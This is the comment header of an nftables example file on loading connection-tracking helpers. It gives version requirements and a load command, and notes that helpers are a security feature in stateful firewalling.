# This example file shows how to use ct helpers in the nftables framework.
# Note that nftables includes interesting improvements compared to how this
# was done with iptables, such as loading multiple helpers with a single rule
# This script is meant to be loaded with `nft -f &lt;file&gt;`
# You require linux kernel &gt;= 4.12 and nft &gt;= 0.8
# For up-to-date information please visit https://wiki.nftables.org

# Using ct helpers is an important security feature when doing stateful
# firewalling, since it mitigate certain networking attacks.
# More info at: https://home.regit.org/netfilter-en/secure-use-of-helpers/
